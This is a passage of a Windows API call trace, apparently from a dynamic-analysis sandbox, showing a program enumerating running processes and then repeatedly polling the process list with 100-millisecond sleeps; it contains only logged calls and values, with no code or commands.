pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.790] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.792] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.794] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.796] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.797] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.799] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.801] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.803] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.805] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.807] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.809] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.811] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.813] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.815] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.817] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.819] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.821] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0285.823] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.825] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.827] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.829] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0285.832] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.834] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.836] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0285.838] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.840] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.842] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0285.844] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0285.846] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0285.848] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0285.850] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0285.852] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0285.854] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0285.856] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0285.858] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0285.964] Sleep (dwMilliseconds=0x64) [0285.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0285.993] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.093] Sleep (dwMilliseconds=0x64) [0286.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.112] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.185] Sleep (dwMilliseconds=0x64) [0286.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.228] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.322] Sleep (dwMilliseconds=0x64) [0286.331] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.353] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.472] Sleep (dwMilliseconds=0x64) [0286.482] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.495] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.593] Sleep (dwMilliseconds=0x64) [0286.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.608] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.734] Sleep (dwMilliseconds=0x64) [0286.739] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.753] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.828] Sleep (dwMilliseconds=0x64) [0286.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0286.843] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.028] Sleep (dwMilliseconds=0x64) [0287.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0287.046] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.163] Sleep (dwMilliseconds=0x64) [0287.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0287.188] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.287] Sleep (dwMilliseconds=0x64) [0287.288] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0287.301] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.366] Sleep (dwMilliseconds=0x64) [0287.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0287.412] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.481] Sleep (dwMilliseconds=0x64) [0287.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0287.496] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.590] Sleep (dwMilliseconds=0x64) [0287.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0287.706] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.809] Sleep (dwMilliseconds=0x64) [0287.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0287.832] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.928] Sleep (dwMilliseconds=0x64) [0287.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0287.964] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.034] Sleep (dwMilliseconds=0x64) [0288.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.055] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.205] Sleep (dwMilliseconds=0x64) [0288.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.242] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.345] Sleep (dwMilliseconds=0x64) [0288.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.369] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.474] Sleep (dwMilliseconds=0x64) [0288.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.489] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.559] Sleep (dwMilliseconds=0x64) [0288.591] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.604] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.667] Sleep (dwMilliseconds=0x64) [0288.669] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.683] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.773] Sleep (dwMilliseconds=0x64) [0288.776] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.788] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.877] Sleep (dwMilliseconds=0x64) [0288.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0288.891] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.996] Sleep (dwMilliseconds=0x64) [0288.998] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0289.011] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.076] Sleep (dwMilliseconds=0x64) [0289.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0289.113] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.214] Sleep (dwMilliseconds=0x64) [0289.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1638 [0289.228] Process32First (in: hSnapshot=0x1638, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.363] Sleep (dwMilliseconds=0x64) [0289.423] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0289.438] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.538] Sleep (dwMilliseconds=0x64) [0289.540] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0289.553] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.624] Sleep (dwMilliseconds=0x64) [0289.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0289.675] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.740] Sleep (dwMilliseconds=0x64) [0289.750] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0289.763] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.860] Sleep (dwMilliseconds=0x64) [0289.861] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0289.874] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.984] Sleep (dwMilliseconds=0x64) [0289.986] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.006] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.073] Sleep (dwMilliseconds=0x64) [0290.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.169] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.234] Sleep (dwMilliseconds=0x64) [0290.339] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.352] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | 